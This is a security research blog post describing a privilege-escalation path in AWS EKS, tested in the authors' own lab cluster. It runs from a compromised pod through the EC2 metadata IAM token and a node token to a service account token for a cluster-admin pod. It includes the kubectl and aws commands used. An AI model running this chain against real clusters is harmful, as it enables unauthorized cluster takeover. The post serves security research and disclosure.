Privilege escalation in AWS Elastic Kubernetes Service (EKS)
Calif
SubscribeSign in
Privilege escalation in AWS Elastic Kubernetes Service
An Trinh and Duc Nguyen<br>Apr 02, 2023
Share
The team recently encountered an interesting scenario where we were trying to escalate privileges from a compromised pod in AWS Elastic Kubernetes Service (EKS) and struggled with NodeRestriction, a security mechanism enabled by default on all EKS versions.<br>From pod to node token
It’s well-known that on a compromised AWS EC2 machine, one can request AWS metadata service to obtain the machine’s IAM token.<br>What’s surprising to us was that it’s possible to do that from a container running inside that machine as well. There’s no default mechanism to stop that from happening (IMDSv2 tries to solve that, which will be detailed later). This means an EKS pod, no matter how low-privileged it is, has the same AWS privileges of the underlying EC2 machine. This is accompanied by the fact that EKS API server’s endpoint is by default accessible from the internet.<br>Christophe documented some of this in detail in his research 1, where he also exploited the default EC2 DeleteNetworkInterface IAM permission granted to EC2. But we wanted to see if there’s a more severe impact and explored the attack path towards EKS.<br>On a default EKS deployment, the node’s IAM token has the associated system:node role on the cluster. EKS facilitates this by providing mapping between AWS identities and EKS privileges via aws-iam-authenticator plugin (details to follow).<br>The system:node token however is severely limited by Kubernetes NodeRestriction. Some basic cluster information, such as pods definition, is available, but that’s not much.<br>Upon further reading the document, this line caught our attention:<br>Such kubelets will only be allowed to modify their own Node API object, and only modify Pod API objects that are bound to their node.
This means with the node token, we can impersonate any pods in the node.<br>From node token to cluster-admin
Our approach was to explore the pods running on the same node as our system:node token. After hitting a few dead ends, we came up with requesting service account tokens for those pods from the API server, allowing us to impersonate them and use their privileges.<br>In K8s, most people don’t care which pod is deployed to which exact node, meaning a node can contain both sensitive pods and untrusted pods. By inspecting and pivoting through every pod, it’s likely we could obtain a token with higher trust-boundary, such as one with permissions to list the cluster’s secrets.<br>With that assumption, we quickly spun up a test setup:<br>EKS cluster named cluster-1 with one node and a namespace named ns1. As of the time of writing, the default EKS version was v1.25.7-eks-a59e1f0.
Service account sa-priv mapped with the ClusterRole cluster-admin (a built-in role that can take any actions on any resources in the cluster)
pod1 with minimum pod privileges, running alpine
pod-priv associated with the sa-priv token, also running alpine
The flow is pretty straightforward. In fact it’s too straightforward that we had to check multiple times whether someone had documented this behavior before.<br>From pod1, request the EC2 metadata IAM access token, then exchange it to EKS token with:<br>$ aws eks get-token --cluster-name=cluster-1The token should have the system:node role and look like following:<br>$ kubectl config set-credentials usr1 --token="$(aws eks get-token --cluster-name=cluster-1 | jq -rc '.status.token')"<br>User "usr1" set.
$ kubectl config set-context node1 --cluster=cluster-1.us-west-2.eksctl.io --user=usr1<br>Context "node1" modified.
$ kubectl --context=node1 auth can-i --list<br>Warning: the list may be incomplete: node authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
certificatesigningrequests.certificates.k8s.io/selfnodeserver [] [] [create]
[/api/*] [] [get]
...snippedAt this point the token’s permissions are still heavily limited by NodeRestriction.<br>Then request a token for pod-priv. There’s an error at this point, which disappointed us for a moment<br>$ kubectl --context=node1 create token -n ns1 sa-priv<br>error : failed to create token: serviceaccounts "sa-priv" is forbidden: node requested token not bound to a podOn a closer look, that does not look like an authorization error, but just a format error. Sure enough, the command requires some additional parameters: bound-object-kind, bound-object-name, bound-object-uid, all of which can be obtained easily enough from the pods definition.<br>After a bit of tinkering it works as expected, and we have the token...